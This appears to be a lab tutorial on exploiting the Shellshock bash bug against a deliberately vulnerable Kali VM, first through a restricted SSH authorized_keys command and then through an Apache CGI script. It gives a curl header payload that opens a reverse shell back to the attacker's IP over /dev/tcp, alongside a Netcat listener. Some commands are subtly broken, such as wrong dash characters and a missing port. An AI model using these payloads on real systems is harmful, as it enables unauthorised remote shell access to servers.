Practical Shellshock exploitation – Part 2

This is the final part of the Practical Shellshock exploitation.

Topics Covered [Practical Shellshock exploitation 1]

• Background
• Assumptions
• SSH server configuration
• Adding a new user
• Creation of authorized keys for a specific client
• Adding authorized keys to the SSH server
• Login using authorized keys
• Use
• Configuring the Apache server to be vulnerable
• Use
• Remedy

Background

In the previous article, we saw the internal details of the Shellshock vulnerability. In this article, we will see how to exploit the bash error in the following scenarios.

• SSH abuse
• Abusing the Apache server

But before you continue further, we recommend that you go through the first part of this series.

Assumptions

Software is required

• VirtualBox
• Download and install VirtualBox from www.virtualbox.org
• Machine Vulnerable to Shellshock – Victim
• I’m using Kali Linux because it’s vulnerable to a bash bug.
• Any Unix/Linux based machine – Attacker

Finally, we need a machine to attack. A Linux box is preferred as I will demonstrate everything using command line tools. In my case, I’m using a Mac.
Install both the attacker and victim machines in VirtualBox. Make sure they are able to communicate with each other.

The image above shows my final setup.

Insanity: Kali Linux will usually be the attacker in almost all demos. Let’s go crazy and make Kali vulnerable this time and attack her using another machine (Mac in my case).

Exploitation of Shellshock on vulnerable SSH

The following requirements are met for our exploit to work:

An apparently vulnerable bash shell

User must be authenticated with “authorization_keys”
The user must be limited to running some specific commands.
Let’s start setting up all of the above.

Configuring a vulnerable SSH server

In this section, we will see why SSH servers can be vulnerable to Shellshock. We will configure an intentionally vulnerable SSH server. As part of this, we will perform the following steps.

Adding a new user account to the server (victim).
Creation of authorization keys for the client (attacker).
Adding authorization keys to the sshd configuration file.
Login using authorization keys.

1.Adding a new user account to the server

First, start Kali Linux and add a new user account named “shellshock”.

useradd –d /home/shellshock –s /bin/bash shellshock

In the above figure, we have added a new user “shellshock”.

“/home/shellshock/” is the home directory.

“/bin/bash/” is the absolute path to the shell.

Let us look at the /etc/passwd file to cross check the user created using the following command.

[bash]
cat /etc/passwd | grep ‘shellshock’
[/bash]

Now create a new directory as shown below.

Recursively grant the ownership of the above-created directory to the user “shellshock”. This is shown below.

2. Creating authorization keys for the client

This is the interesting part if you’ve never used SSH with authorization keys.

We usually use a username and password to login to an SSH account. In order to exploit this bash vulnerability, the user must be authenticated using authorization keys without having to enter a username and password each time the client connects to the server.

In this section we will see how to set it up.

Related article:Ethical Hacking Interview Questions 2023

Public key authentication is known to be a more secure and robust way to connect to a remote SSH server. SSH public key authentication relies on asymmetric cryptographic algorithms (example: RSA) that generate a key pair (private key and public key).

The private key is usually stored on the client computer used to connect to the remote system.

The public key is shared with the remote system running the SSH server.

Steps to generate authorization keys

Log in to the attacker’s machine and type the following command into the terminal.

[bash]
$ ssh-keygen –t rsa
[/bash]

The above command is used to generate an RSA public/private key pair.

Once we press enter, it will prompt us to choose a path to store these keys. I press enter without typing anything so I leave the default path.

Now, we will be prompted for the passphrase. Since, we are doing it for demo purposes, I am leaving it blank. If we press enter without entering a password, our private key will be generated without password protection.

Finally, we will be greeted with the following screen.

As we can see in the above figure, the Private key and Public key have been generated.

[bash]
Private key – /Users/srini0x00/.ssh/id_rsa
Public key – /Users/srini0x00/.ssh/id_rsa.pub
[/bash]

We can see the content of private and public keys using the cat command.

The below figure shows the public key.

Now, it’s time to send this public key to the remote server.

You can do it in any way you like, just to save time I am sending it over SFTP.

First, copy it to the Desktop.

Send the public key to the remote server over SFTP.

3. Adding authorization keys to the SSH server

First, make sure that you have received your public key on the server.

Just to cross check, I am running the following command in my terminal.

[bash]
ls –l id_rsa.pub
[/bash]

Now, create a new directory “.ssh” inside “/home/shellshock” as shown below.

Place the public key in /.ssh/authorized_keys file. We can write the content of id_rsa.pub to authorized_keys as shown below.

[bash]
cat id_rsa.pub > ~/.ssh/authorized_keys
[/bash]

Finally, open your sshd_config file to make sure that PublickeyAuthentication is enabled and AuthorizedkeysFile are specified correctly.

The above command is to open the file “sshd_config”.

As we can see in the figure below, everything is perfect.

Logging in from the client

We can now login to the server from the client machine as shown below and we won’t be prompted for the password.

This is basically what is known as SSH Public key authentication.

The user now can even pass his commands to the SSH server as arguments.

Let’s check how to see the ‘date’ as an argument.

What makes it vulnerable?

The above Public key authentication may be vulnerable if it is configured to restrict a predefined set of commands for a user.

This can be accomplished using the command option.

I am going to use the ‘command‘ option in the ‘authorized_keys’ file to run a specific script.

For demo purposes, I am going to use a very simple script named script.sh, which is shown below.

The above script simply shows a message if the user passes the “date” command as an argument. If anything else is passed, it gets executed.

Give it executable permissions using the following command.

[bash]
chmod +x script.sh
[/bash]

Now, add the path of this script to “authorized_keys” file. This is shown below.

Now, try passing “date” as a command line argument as shown below.

[bash]
$ ssh <a href=”mailto:shel[email protected]″>[email protected]</a> date
[/bash]

This will throw a simple message as shown below.

Whenever a user tries to connect to the server over SSH, the user supplied argument will be kept in SSH_ORIGNAL_COMMAND.

‘script.sh’ which is specified in ‘authorized_keys’ file will first be executed before the user commands are executed. This gives a greater control over the user supplied input.

The exploit

Now, let us use our classic Shellshock exploit we learnt in the previous article. I am just adding the following line to the actual line used for regular connection:

[bash]
‘() { :;}; date’
[/bash]

As we can see in the image above, we are getting the output of the “date” command, even though it is not supposed to be executed.

Unlike the previous case where the “date” is blocked by script.sh specified in the author_keys file, this time our arbitrary command itself becomes the first command and thus we get the date printed.

Use of HTTP/S server

We can use the Shellshock vulnerability to compromise a server running cgi or any other scripts that run a bash shell with environment variables that an attacker can control.

Now let’s see how to configure and use the Apache server.

Apache server configuration

Open a terminal in your Kali Linux and type the following command to start the Apache HTTP server.

Navigate to /usr/lib/cgi-bin/ directory and create a new shell script as shown in the figure below.

Let us check if we can access this file remotely.

I am using a popular command line tool called curl to send a request to the remote server hosted on Kali Linux as shown below.

[bash]
curl http://192.168.1.104/cgi-bin/vulnerable.sh
[/bash]

As we can see in the above figure, we are getting the expected response – “bash example”.

Now, let us use the flag ‘-v’ to see the information being sent and received during the communication between client and server.

[bash]
curl –v http://192.168.1.104/cgi-bin/vulnerable.sh
[/bash]

The exploit

As we can see, we are trying to hit the ‘vulnerable.sh’ file on the server.

Typically, when a parent process encounters a bash shell, it passes all header parameters to the child process in the form of environment variables.

We can use this feature to modify and create a malicious request to obtain a reverse shell on a vulnerable remote server.

So let’s use curl again to send a request with garbled headers.

But before that, start a new terminal on the attacker’s computer and use Netcat to listen on incoming connections, as we are about to run the payload provided by the reverse shell.

The following figure shows Netcat listening on port 4444.

Now, send the malicious request using curl as shown below.

[bash]
curl –H ‘x: () { :;}; /bin/bash –I >& /dev/tcp/192.168.1.102 0>&1’ http://192.168.1.104/cgi-bin/vulnerable.sh
[/bash]

If you want to understand how the request is going to the server in this case, use the ‘–v’ switch.

Now, if we go back to the terminal where we started Netcat, we should see a reverse connection shell spawned as shown below.

Remediation

The easiest way to fix Shellshock is to update your bash shell as suggested by the vendor.

Image credits:

Computer: https://www.iconfinder.com/icons/171512/computer_icon

Server: https://www.iconfinder.com/icons/174960/server_icon